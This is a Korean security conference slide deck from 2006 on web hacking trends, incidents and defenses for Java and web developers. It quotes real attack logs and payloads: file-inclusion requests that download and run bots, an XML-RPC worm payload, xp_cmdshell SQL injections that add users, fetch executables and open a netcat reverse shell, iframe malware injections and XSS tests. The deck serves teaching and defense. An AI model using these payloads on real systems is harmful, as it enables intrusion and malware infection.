제 7 회한국자바개발자컨퍼런스 Java Way : Communication and Participation 웹해킹 (Web Hacking) 의현황과대처방안 정관진안철수연구소 intexp@ahnlab.com 2006년 2월 25일 2006 JavaCommunity.Org All Rights Reserved. 1
Overview 웹해킹무엇이문제인가? 웹환경의다양한위협요소 시큐리티트랜드의변화그리고최근의웹해킹 웹해킹의위협사례소개 홈페이지변조 취약점을이용한해킹 악성코드의위협 웹해킹의주요기술과대처 웹애플리케이션의주요취약점과공격기법 웹해킹의각주요기법소개 웹서버의보안대책 안전한웹서비스환경의구현 2
웹운영의기본요소 하드웨어 소프트웨어 관리 보안 비용 외부의수많은 위협으로부터 안전한가? 내용 3
웹운영환경의다양한위협 다양한웹공격으로부터노출 - 홈페이지변조 - 서비스거부공격 (Denial of Service) - 버퍼오버플로우 - 파일삭제 - 트로이목마, 웜과같은악성코드 - XSS, SQL Injection 웹사이트와웹애플리케이션의빠른증가추세 미들웨어, 데이터베이스등웹운영환경이더욱복잡, 다양해지고있음 비즈니스및많은산업군의웹에대한의존도증가 웹사이트증가만큼위협범위는더욱넓어질수있다. 해커들의공격대상으로웹 (Web) 이주요타깃 4
시큐리티트랜드의변화 IT 인프라변화를최대한활용 지속적인공격기법의발달 공격도구의지능화 5
웹해킹의현실 CSI/FBI 2005 Computer Crime and Security Survey - 258 명의응답자중 95% 가 10 번이상의웹관련보안사고를겪음 - 10 회이내는전체의 5% 공격의 80% 이상 80 번포트 를대상으로이뤄지고있다. 6
왜웹해킹이증가하는가? 일반적으로방화벽에서 80, 443 번포트는허용된다. 즉, 다른포트번호가차단되었다하더라도이포트번호는외부에서는유효하다. HTTP 프로토콜은가장범용적으로사용되는프로토콜중의하나이다. 많은지식을필요로하지않으며 URL 상의간단한조작및유추등으로도가능하다. 많은도구를필요로하지않는다. 즉, 웹브라우저하나만으로도가능하게한다. 그렇다면방화벽과같은보안장치가모든보안수준을만족시켜주는가? URL Web Client X X X 다른포트의접속은차단 방화벽 정책 웹서비스를위한 80, 443 번오픈 제 7회한국자바개발자컨퍼런스 - Java Way : 7 Web Server Apache IIS Netscape 응용프로그램 응용프로그램 응용프로그램 JSP,ASP Perl C,C++ MSSQL Oracle MySQL DB
웹서비스의다양한위협 웹을통해어떠한위협들이존재하는가? Attacker 외부 Spoofing Brute Force DoS, DDoS Scanning 악성코드 X X X 다른포트의접속은차단 방화벽 정책 웹서비스를위한 80, 443 번오픈 Sniffing 내부 Web Server Buffer Overflow Session Hijacking Directory Traversal Fingerprinting 응용프로그램 응용프로그램 응용프로그램 DB XSS Buffer Overflow 입력체크오류 SQL Injection Injection Flaw 8
보안취약점현황 지속적으로취약점보고건수는증가하고있으며 NVD 경우는 2004 년에서 2005 년그수치가 96% 만큼증가하였다. 이러한주된증가에웹애플리케이션에대한취약점이증대되었기때문이다. 2005 2004 2003 2002 2001 CERT/CC 5,990 3,780 3,784 4,129 2,437 NVD 4,584 2,340 1,248 1,943 1,672 OSVDB 7,187 4,629 2,632 2,184 1,656 Symantec 3,766 2,691 2,676 2,604 1,472 * Computer Emergency Response Team Coordination Center(CERT/CC) National Vulnerability Database Open-Source Vulnerability Database 9
위협사례소개 10
2004 년 12 월 2004 년 11 월 홈페이지변조 웹사이트증가와함께홈페이지변조해킹증가 해킹의주된이유와공격방법은무엇인가? 30000 25000 20000 15000 10000 Heh...just for fun! Revenge against that website Political reasons As a challenge I want to be the best defacer Patriotism 5000 0 Attack technical details 2002-2004 2002 년 7 월 2002 년 9 월 2002 년 11 월 2003 년 1 월 2003 년 3 월 2003 년 5 월 2003 년 7 월 2003 년 9 월 2003 년 11 월 2004 년 1 월 2004 년 3 월 2004 년 5 월 2004 년 7 월 2004 년 9 월 2004 년 11 월 40000 35000 30000 25000 20000 15000 10000 5000 0 2002 년 7 월 2002 년 8 월 2002 년 9 월 2002 년 10 월 2002 년 11 월 2002 년 12 월 2003 년 1 월 2003 년 2 월 2003 년 3 월 2003 년 4 월 2003 년 5 월 2003 년 6 월 2003 년 7 월 2003 년 8 월 2003 년 9 월 2003 년 10 월 2003 년 11 월 2003 년 12 월 2004 년 1 월 2004 년 2 월 2004 년 3 월 2004 년 4 월 2004 년 5 월 2004 년 6 월 2004 년 7 월 2004 년 8 월 2004 년 9 월 2004 년 10 월 출처 : www.zone-h.org 11 known vulnerability (unpatched system) undisclosed (new) vulnerability configuration administration mistake brute force attack social engineering
홈페이지변조사례 #1 이라크전쟁당시홈페이지변조급증 전쟁에반대하는정치적인형태의해킹 해킹대상은취약한웹서버를대상으로이루어짐 ( 누구나공격의대상이될수있었음 ) 12
홈페이지변조사례 #2 웹사이트변조는대량으로일어나고있음 왜이러한변조가지속적으로반복되고있을까? 13
제로보드 (ZeroBoard) 의취약점악용 많이사용되고있는소프트웨어의취약점을악용 공격여부의확인 [05/Mar/2005:14:48:27 +0900] "GET /www.victim.co.kr/bbs//include/write.php? dir=http://www.derf.hpgvip.com.br/newcmd.gif? &cmd=id;cd%20/tmp;get%20www.derf.hpgvip.com.br/derfbd%20>%20derfbd; chmod%204777%20derfbd;./derfbd HTTP/1.1" 200 2164 [23/Feb/2005:18:24:45 +0900] "GET /victim.net/solarpia.php?page=http://67.18.54.212/~greg/cmd.txt&cmd= wget%20frag.pro.br/deadcow/i%20-o%20/var/tmp/.i;perl%20/var/tmp/.i HTTP/1.0" 302 412 [23/Feb/2005:18:24:45 +0900] "GET /victim.net/solarpia.php?page=http://67.18.54.212/~greg/cmd.txt&cmd= wget%20frag.pro.br/deadcow/bot%20- O%20/var/tmp/.bset;perl%20/var/tmp/.bset;touch%20/var/tmp/.bst HTTP/1.0" 302 446 14
Web Shell: 여러분의시스템을통제한다! 웹쉘을이용하여공격자는원하는명령어수행이가능하다. 다양한웹쉘이존재 -ASP, JSP, PHP - 특히중국해커들에개발된웹쉘의종류가많음 15
로그파일이수상하다 악의적명령을수행한웹로그어떠한부분에이상한점이존재하나? [Sat Oct 22 10:16:49 2005] [error] [client 200.150.69.XX] request failed: erroneous characters after protocol string: GET /write.php?dir=http://www.angelfire.com/psy/hdr0x/zepplin/cmd.txt?&cmd=iduname -a;id HTTP/1.0 [Thu Dec 29 16:36:03 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET /mambo/index2.php?_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http://2 09.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo HTTP\x01.1 [Thu Dec 29 16:36:04 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET /cvs/index2.php?_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http://209.1 36.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo HTTP\x01.1 [Thu Dec 29 16:36:05 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET /cvs/mambo/index2.php?_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http ://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo HTTP\x01.1 SQL Injection 공격 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /tools/ctss.idc?ds=localserver&user=sa&pwd=&table=ngt(ng%20int);exec+master..xp_cmdshell(\"cmd.exe+/c%20dir\");-- HTTP/1.0" 404 569 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /cgi- bin/tools/ctss.idc?ds=localserver&user=sa&pwd=&table=ngt(ng%20int);exec+master..xp_cmdshell(\"cmd.exe+/c%20dir\");-- HTTP/1.0" 404 569 16
IFRAME 과취약점의이용 여러분의웹페이지는안전한가? 아니면단순히안전하다고생각하는가? 어떤이유로 [ 초기인코딩된데이터 ] 17 [ 일부를해독한화면 ]
취약점을이용한악성코드의위협 XML-RPC 취약점을통해전파되는웜 POST 형식으로 xml-rpc 를사용하는.php 를통해 injection 한다. <?xml version="1.0"?><methodcall><methodname>test.method</methodname><params><param><value><name> ',''));echo '_begin_';echo `cd /tmp; //' 를이용한코드끼워넣기후 /tmp 디렉토리로이동 wget 62.101.xxx.xxx/lupii; // wget으로특정사이트의 lupii 파일다운로드 chmod +x lupii; // 실행으로변경./lupii 62.101.xxx.xxx // 웜실행 `;echo '_end_';exit;/*</name></value></param></params></methodcall> [ 웹서버로그 ] 62.23.xx.67 - - [17/Jan/2006:18:37:54 +0900] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 569 62.23.xx.67 - - [17/Jan/2006:18:37:55 +0900] "POST /drupal/xmlrpc.php HTTP/1.1" 404 569 62.23.xx.67 - - [17/Jan/2006:18:37:57 +0900] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 569 코드레드 (CodeRed) 공격에기록되는로그 172.170.82.20 - - [30/Jul/2004:17:32:34-0500] "GET /default.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u000 3%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281 "-" "- Slapper 웜 [Sat Sep 14 18:10:00 2002] [error] [client XX.XX.XX.XX] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): / [Sat Sep 14 18:10:16 2002] [error] mod_ssl: SSL handshake failed (server XX.XX.XX.XX:443, client XX.XX.XX.XX) (OpenSSL library error follows) [Sat Sep 14 18:10:16 2002] [error] OpenSSL: error:1406b458:lib(20):func(107):reason(1112) 18
웹해킹공격도구 WED(Web Entry Detector) WIS(Web Injection Scanner) 19
웹해킹의주요기술과대처 20
웹애플리케이션주요취약점 OWASP 에서발표한웹의주요Top 10 ⑴ 입력값검증부재 (Unvalidated Input) ⑵ 취약한접근통제 (Broken Access Control) ⑶ 취약한인증및세션관리 (Broken Authentication and Session Management) ⑷ XSS(Cross Site Scripting) 취약점 ⑸ 버퍼오버플로우 (Buffer Overflows) ⑹ 삽입취약점 (Injection Flaws) ⑺ 부적절한에러처리 (Improper Error Handling) ⑻ 취약한정보저장방식 (Insecure Storage) ⑼ 서비스방해공격 (Denial of Service) ⑽ 부적절한환경설정 (Insecure Configuration Management) 21
주요웹해킹테크닉 Web Fingerprinting 잘못된설정의이용 URL 조작 디렉토리, 소스코드, HTML 정보노출 입력체크 웹파일이외의파일다운로드및추측 Buffer Overflow Session Hijacking ( 쿠키조작 ) Cross Site Scripting SQL Injection 22
About Attackers 공격자의동기 - 단순재미 - 영웅심리 - 금전적목적 공격자는사전에무엇을먼저준비할것인가? - 공격대상의정보획득 - 취약점검토 공격도구의준비 - 인터넷연결환경 - 웹브라우저 - 필요에따라고급도구 내가만일해커라면 23
Web Fingerprinting 아무정보도없이시작할것인가? 공격대상의선정과정보획득 - Port Scanner( nmap, fscan, etc..) nmap -p 80,81,443,8000,8080 10.0.0.1 - 웹서버소프트웨어파악 nc 192.168.1.1 80; HEAD / HTTP/1.0 -Netcat -Whois - Vulnerability Checking 구글해킹 (Google Hacking) - 보안권고문, 운영소프트웨어및응용프로그램의취약점검색 - 많은정보가포함된에러메시지 - 숨겨진디렉토리 - 파이어월, 웹서버로그등이포함된페이지 - 패스워드가포함되어있는파일 - inurl, site 등의고급검색어활용 24
잘못된설정의이용 부적절한패스워드사용및기본계정사용 admin/admin, manager/manger, system/system, admin/djemals, root/root 관리자 / 개인용페이지접근제한노출 검색엔진을통해 3 분여동안찾을수있었던사이트는? /admin, /manage, 관리자, 관리자모드등의단순검색어이용 25
디렉토리, 소스코드, HTML 정보노출 소프트웨어취약점으로인한소스코드노출 -WebLogic/WebSphere JSP 버그로인하여 JSP/JHTML 파일의소스코드보는것이가능 (URL 상에서 JSP 대문자를사용하면소스코드볼수있었음 ) - 아파치톰캣 3.2.3-4 사이의버전에서소스노출 http://example.com:80/examples/jsp/source.jsp?? http://example.com:80/examples/jsp/source.jsp?/jsp/ - HTTP/1.0 or HTTP/1.1 없이 GET 요청시소스노출 ( 톰캣 4.0-b1) - 특정경로에서소스코드노출 /servlet/file/ (IBM WebSphere) /file/ (BEA WebLogic) /*.shtml/ (BEA WebLogic) /ConsoleHelp/ (BEA WebLogic) /servlet/com.sun.server.http.servlet.fileservlet/ (Sun JavaWebServer) 웹서버의설정잘못으로인한디렉토리노출 - 뜻하지않게중요파일및소스코드노출 HTML 안에기록되어있는정보활용 - 웹개발시입력한 Comment 활용 26
입력값검증 (Input Validation) 다음의입력값검증 데이터타입 (string, integer, real, etc ) 허용하는문자최소, 최대문자열길이널 (Null) 허용유무파라미터가필요유무중복을허용하는가숫자의범위특정패턴 ( 정규표현식 ) 위험한 HTML 태그들 <APPLET>,<BODY>,<EMBED>,<FRAME> <FRAMESET>,<HTML>,<IFRAME>,<IMG> <LAYER>,<ILAYER>,<META>,<OBJECT> <SCRIPT>,<STYLE> 특수문자! @ $ % ^ & * ( ) -_ + ` ~ \ [ ] { } ; : ' "? /,. > < 클라이언트의입력을신뢰하지마라 J2EE 플랫폼의경우 OWASP 에서배포하는 J2EE HTTP Validation Engine 이있음 http://www.owasp.org/software/validation/stinger.html 아파치웹서버의경우 modsecurity 의모듈이용 27
버퍼오버플로우 (Buffer Overflow) 버퍼오버플로우위협 - 웹서버소프트웨어 - 웹애플리케이션 - 미들웨어 - 데이터베이스 - 브라우저 버퍼오버플로우예방 - Secure Programming 고려 Boundary Check - 웹서버의경우 / 요청제한 - LimitRequestBody 10240 - LimitRequestFields 40 - LimitRequestFieldsize 100 - LimitRequestLine 500 - mod_parmguard 해커로부터입력되는데이터의필터를통하여스크립트를보호 http://www.trickytools.com/php/mod_parmguard.php - 이외 StackGuard 등운영체제별보호체계 28
Session Hijacking HTTP 는 Stateless 프로토콜이다. 많은웹애플리케이션은 stateful 형식이다. 세션 ID 는보안상취약한메커니즘을가지고있다. - Hidden Field 에의해 Session ID 전달 <input type="hidden" name="useraccount" value= 673-12745 > - 클라이언트사이드의쿠키 - URL Stored Session ID http://www.victim.com/en/index.jhtml;jsessionid=hymjk3pjus J4CCQCQBJCGWQKAKAFUIV0?_requestid=21122 취약한세션관리에대한대처방법 - 사용자쿠키정보암호화 (SSL) - 세션에대한 Timeout 설정 - 인증후에도중요정보수정, 입력은재인증을거치는프로세스 - Server Side Session 의사용 29
Session Hijacking Attack Hijacking Session 의주요공격방법 - 무작위입력, 유추 - 계산된공식에의해세션 ID 유추 - 가로채기 무작위 Session ID 유추를통한접근 http://www.victim.com/view/ad30725122116211 http://www.victim.com/view/ad30725122118909 http://www.victim.com/view/ad30725122120803 또는자동화된도구의활용 30
XSS(Cross Site Scripting) Cross Site Scripting 이란? XSS 는웹애플리케이션에서입력되는데이터를적절하게검사하지않아클라이언트의스크립트나 HTML 태그의사용이가능하게되는데이것은의도적으로악의적인형태의공격으로까지이어질수있다. XSS 용어의혼돈고정된 HTML 을자유롭게쓰게해주는 CSS(Cascading Style Sheets) 와혼동되어사용될수있기때문에 XSS 라고많이불리고있다. CSS : Cascading Style Sheet XSS : Cross Site Scripting Cross Site Scripting 이라는이름에서도알수있듯이다양한플랫폼에걸쳐사용이가능 XSS 는많은웹애플리케이션에그문제가존재하고있으며, 버퍼오버플로우 (Buffer Overflow) 와같이직접적으로시스템의권한을획득하는것은아니지만간접적또는다양한형태로악용될우려가높다. 공격자는 HTML, JavaScript, VBScript, ActiveX 또는 Flash를이용하여취약한웹애플리케이션을통한사용자정보의수집, 사용자계정의탈취, 정보의변경, 쿠키정보획득 / 변조, 부정확한정보제공등악용가능한범위가넓다. 31
XSS 취약점존재유무체크 XSS 취약점존재여부체크 - HTML 입력폼또는 URL 상에스크립트를입력 입력폼에 <script>alert( hello )</script>, <script>alert(document.cookie)</script> 사용또는 http://www.domain.com/user.php?op=userinfo&uname=<script>alert(document.cookie); </script> 와같이 URL 직접입력 http://www.victim.com/jse/jsp/search.jsp?q= <script>alert('is your site vulnerable?')</script> XSS 의방지 - Secure Development Input validation 특정캐릭터필터 - Intrusion Prevention mod security (www.modsecurity.org) - 사용자의인지 32
XSS 를이용한 웜 소개 2005 년 10 월 4 일 XSS 를이용한첫웜사례보고 ( Samy ) - CSS(Cascading Style Sheet) 태그안에서자바스크립트사용가능한것을발견 - Myspace.com 의백만명이넘는사람들이본인의의지와는상관없이친구추가요청 - 사이트는일시적서비스장애겪음, DoS 가능성을보여주었음 시간 10월04일 12:34 PM 10월04일 01:30 AM 10월04일 08:35 AM 10월04일 09:30 AM 10월04일 10:30 AM 10월04일 01:30 PM 10월04일 06:20 PM 친구수 73 73 74 74 518 2503 2503 친구등록요청자 0 1 221 480 561 6,373 917,084 경과시간 1시간 8시간 9시간 10시간 13시간 18시간 비고 3 초후 918,268 이후다시 3 초후 919,664. 몇분후 1,005,831 명까지도달 33
SQL Injection SQL Injection 이란? - 입력되는데이터의적절한확인없이전달되는데이터를데이터베이스에서명령어로처리하는것 공격자는다음과같이악용가능 - SELECT, INSERT, DELETE 그리고 DROP TABLE 과같은 SQL 명령어수행가능 - 확장프로시저를통한임의의명령어수행가능 다음의의미는무엇일까? <form method="post" action= admin_login.php"> <input type="text" name= username"> <input type="password" name="password"> </form> "SELECT id FROM logins [ 위구문은이와같은 SQL 쿼리를요청 ] WHERE username = '$username' AND password = '$password'"; "SELECT id [ 패스워드입력구문에 OR x = x 와같이입력하여 FROM logins 인증을우회 ] WHERE username = 'Joe' AND password = 'anything' OR 'x'='x'"; 34
SQL Injection 공격의예 - http://www.none.to/script?0';exec+master..xp_cmdshell(cmd.exe+/c) - http://victim/url.asp?id=1;exec master..xp_cmdshell net user name password /add -- - http://victim/url.asp?id=1;exec master..xp_cmdshell echo <ifrmae src=http://www.target.com/icyfox.htm width= 0 height= 0 ></iframe> >> c:\inetpub\www\index.html ; 대책 - DB 쿼리에변수로사용되는모든인자에대한검증 - URL 인자값에 SQL 명령어금지 - 불필요한에러메시지제거 - 세미콜론, 더블데쉬 (--) 제거 -, <,>,;, -- 등의문자가변수에존재하지않도록체크 - 불필요한 Stored Procedure 제거 xp_cmdshell, xp_dirtree, xp_regdeletekey, xp_regwrite, sp_adduser... - DB 권한축소 35
다양한 SQL Injection 공격 http://www3.example.com/product.asp?id=5%01exec+master..xp_cmdshell+ 'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\' GET /theasppage.asp?anid=377';exec MASTER..xp_cmdshell 'mkdir %systemroot% system32 Macromed lolx '; exec MASTER..xp_cmdshell 'echo open z.z.z.z 21 >> %systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'echo USER chadicka r0ckpaul >> %systemroot% system32 macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'echo binary >> %systemroot% system32 macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'echo get lol.exe %systemroot% system32 Macromed lolx arcdlrde.exe >> %systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'del %systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell '%systemroot% system32 Macromed lolx arcdlrde.exe'-- http://server/showtable.asp?id=3%01exec+master..xp_cmdshell+ tftp+-i+10.0.0.13+get+nc.exe+%26%26+nc+-e+cmd.exe+10.0.0.11+2000 36
SQL Injection 도구 사용하기쉬운 GUI 방식의 SQL Injection 도구들존재 중국에서제작된도구가많음 37
서비스거부공격 (DoS) 서비스거부공격은웹서비스운영에큰위협 - DoS(Denial of Service) - DDoS, DRDoS 2000 년 2 월 Buy.com, ebay, CNN, Yahoo, Amazon 대형사이트 DDoS 공격 웜, 트로이목마를이용한특정사이트공격형태가나타남. 이러한트로이목마들은향후분산서비스거부공격등에이용될확률이높음 뚜렷한해결방법이존재하지않음 대처방법 - 웹서버성능관련지시어조절 - 대역폭관리모듈사용 -mod_bandwidth - mod_throttle - 웹서버앞단에서의조절 ( 라우터, 방화벽 ) - 방화벽의대역폭조절및자체적인 DoS 솔루션 - 시스코사의 CAR(Committed Access Rate), QoS 38
악성코드와웹환경 악성코드가웹서비스영역으로까지확대되며다양한방법을이용 - 웹서버소프트웨어나주요기능의취약점을이용하여확산 - 웹페이지에 IFRAME 태그등을삽입 -XSS 웜발견 악성코드사례 - OpenSSL 취약점을이용한아파치웜 Slapper - Microsoft IIS 취약점을이용한 CodeRed, Nimda - PHP-XMLRPC 취약점이용한웜 - phpbb 2.0.10 이하버전의취약점을이용한 PERL/Santy 웜 - XSS 취약점이용하여 myspace.com 에서전파 (samy worm) 왜악성코드가웹환경을이용하고있는가? 39
중국발웹해킹증가 IFRAME 태그를이용하여웹페이지에삽입하는해킹증가 사이트를방문하는것만으로도쉽게감염되어최근웹해킹의주요공격방법으로사용되고있음 최근에는 MS06-001(WMF) 의취약점을이용한공격증가 금전적이득을노림 [ 웹서버에삽입되어있는내용 ] <iframe height=0 width=0 src="http://wyd.gamefor.com/job/index.htm"></iframe> <OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet data="mk:@msitstore:mhtml:c:\.mht!htt_://wyd.gamefor.c om/job/help.txt: :/%23%2E%68%74m"></OBJECT>... 40
웹서버의보안대책 서버정보출력의제한 -ServerSignatureOff -ServerTokensProductOnly - 디렉토리인덱스출력 ( Options Indexes ) 웹서버권한설정 - root 권한동작금지, 기본적으로최소한의권한부여 - 사용용도에따라적절한권한부여 - chroot 환경의운영 스크립트실행영역제한 접근제어 ( 디렉토리, 호스트별 ), 파일정보의제한 (.htaccess) 사용자인증을통한보안강화 불필요한모듈의제거 웹서버의상태관찰을통한공격파악 웹서버로그파일의감사 - 로그파일에기록되는비이상적인요청이있는가? 최신의웹서버소프트웨어사용및패치적용 추가적인보안관련모듈사용을통한보안성향상 이외운영되는웹서버에따른적절한보안지침마련 41
안전한웹서비스 이제웹서비스운영뿐만아니라클라이언트의보안대책도필요 현재의보안은한쪽면만이아닌복합적인방어대책필요 기본적인보안정책만으로도많은공격으로부터안전해질수있다. 보안패치 Anti-Virus, Personal Firewall Anti-Key Logging 방화벽 IPS,IDS Application Firewall 응용프로그램 불필요한확장프로시저제거 Web Client Inbound 정책 다른포트의접속은차단 X X X Outbound 정책 X 올바른보안정책수립 80, 443 번오픈 Web Server SSL or 보안모듈이용암호화 응용프로그램 응용프로그램 Code Review 입력값검증보안을고려한코딩 DB 42
안전한웹환경을위해무엇을해야하는가? 빠르게변화하는다양한인터넷기술과공격방법등의변화를따라가라 보안관련메일링리스트와사이트를통해웹서버또는웹애플리케이션의보안취약점정보를인지하라 웹운영에심각한취약점인경우빠르게업데이트할수있도록한다. 안전한웹서버의운영을원한다면본인스스로가보안에대한중요성을인지하고지속적인관심을가지고더욱더안전한운영방법을위한노력이필요하다. 보안 은단한번의설정으로 이뤄지지않는다. 43
Questions? Tha nks for your a tte ntion 44